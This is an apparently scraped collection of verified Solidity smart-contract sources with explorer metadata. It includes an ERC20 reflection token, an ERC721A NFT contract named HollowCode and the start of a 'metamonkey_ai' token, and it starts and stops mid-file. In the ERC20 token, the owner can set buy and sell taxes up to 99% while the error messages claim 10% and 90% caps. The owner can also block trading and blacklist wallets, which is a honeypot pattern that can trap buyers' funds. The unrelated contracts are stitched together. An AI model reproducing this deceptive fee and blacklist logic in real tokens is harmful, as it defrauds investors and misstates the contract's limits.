_msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 0, "Buy rewards must be 0%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 99, "Buy tax must be between 0% and 10%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 0, "Sell rewards must be 0%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 99, "Sell tax must be between 0% and 90%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { require( maxTxAmount >= ((totalSupply() * 1) / 100), "Cannot set maxTransactionAmount lower than 1%" ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { require( maxWalletSize >= ((totalSupply() * 1) / 100), "Cannot set maxWalletAmount lower than 1%" ); _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }

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lType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

v0.8.9+commit.e5eed63a

Default

MIT

ipfs://9461ba17641820b572c3339111f2795d52154c02e4d5cae1c39cf2f4f6244eac

HollowCode

@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol

0xb18c01c56bb6d4e7328709a38cf4a92599683fda

Solidity

// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.19; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } pragma solidity ^0.8.19; error ApprovalCallerNotOwnerNorApproved(); error ApprovalQueryForNonexistentToken(); error ApproveToCaller(); error ApprovalToCurrentOwner(); error BalanceQueryForZeroAddress(); error MintToZeroAddress(); error MintZeroQuantity(); error OwnerQueryForNonexistentToken(); error TransferCallerNotOwnerNorApproved(); error TransferFromIncorrectOwner(); error TransferToNonERC721ReceiverImplementer(); error TransferToZeroAddress(); error URIQueryForNonexistentToken(); /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; // For miscellaneous variable(s) pertaining to the address // (e.g. number of whitelist mint slots used). // If there are multiple variables, please pack them into a uint64. uint64 aux; } // The tokenId of the next token to be minted. uint256 internal _currentIndex; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 0; } /** * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens. */ function totalSupply() public view returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex - _startTokenId() times unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { // Counter underflow is impossible as _currentIndex does not decrement, // and it is initialized to _startTokenId() unchecked { return _currentIndex - _startTokenId(); } } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberMinted); } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberBurned); } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { return _addressData[owner].aux; } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { _addressData[owner].aux = aux; } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if ( to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data) ) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (safe && to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if ( !_checkContractOnERC721Received( address(0), to, updatedIndex++, _data ) ) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex != end); // Reentrancy protection if (_currentIndex != startTokenId) revert(); } else { do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = to; currSlot.startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev This is equivalent to _burn(tokenId, false) */ function _burn(uint256 tokenId) internal virtual { _burn(tokenId, false); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId, bool approvalCheck) internal virtual { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); address from = prevOwnership.addr; if (approvalCheck) { bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); } _beforeTokenTransfers(from, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { AddressData storage addressData = _addressData[from]; addressData.balance -= 1; addressData.numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = from; currSlot.startTimestamp = uint64(block.timestamp); currSlot.burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, address(0), tokenId); _afterTokenTransfers(from, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try IERC721Receiver(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } pragma solidity ^0.8.19; contract HollowCode is ERC721A, Ownable, ReentrancyGuard { using Strings for uint256; bool public paused; uint256 public maxMint = 20; string public _baseTokenURI; uint256 public maxSupply = 999; uint256 public price = 0.003 ether; constructor() ERC721A("HollowCode", "HC") {} function mint(uint256 _mintAmount) public payable nonReentrant { require(!paused, "Paused"); require(totalSupply() + _mintAmount <= maxSupply, "Max"); require(msg.value >= price * _mintAmount, "Insufficient"); require(_mintAmount > 0 && _mintAmount <= maxMint, "Invalid"); _safeMint(_msgSender(), _mintAmount); } function mintTo(uint256 _mintAmount, address _receiver) public onlyOwner { _safeMint(_receiver, _mintAmount); } function _startTokenId() internal view virtual override returns (uint256) { return 1; } function setPrice(uint256 _price) public onlyOwner { price = _price; } function setMaxMint(uint256 _amount) public onlyOwner { maxMint = _amount; } function setMaxSupply(uint256 _maxSupply) public onlyOwner { maxSupply = _maxSupply; } function setPaused(bool _state) public onlyOwner { paused = _state; } function withdraw() public onlyOwner { (bool success, ) = payable(msg.sender).call{ value: address(this).balance }(""); require(success); } function setBaseURI(string calldata baseURI) public onlyOwner { _baseTokenURI = baseURI; } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require(_exists(_tokenId), "URI does not exist!"); return bytes(_baseTokenURI).length > 0 ? string( abi.encodePacked( _baseTokenURI, _tokenId.toString(), ".json" ) ) : ""; } }

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v0.8.19+commit.7dd6d404

Default

MIT

ipfs://1d8d3bf0eb6bae1cb397b6a326e37edbd87f93902997dc8adeae6115b735273f

metamonkey_ai

metamonkey_ai.sol

0x830beccc359386045f1f965937dfcd2a1a8982f7

Solidity

/* TOKENOMICS 3.0% Liquidity 1.0% Marketing 4.0% AI Technology Development 2.0% Developer https://www.metamonkey.ai */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an 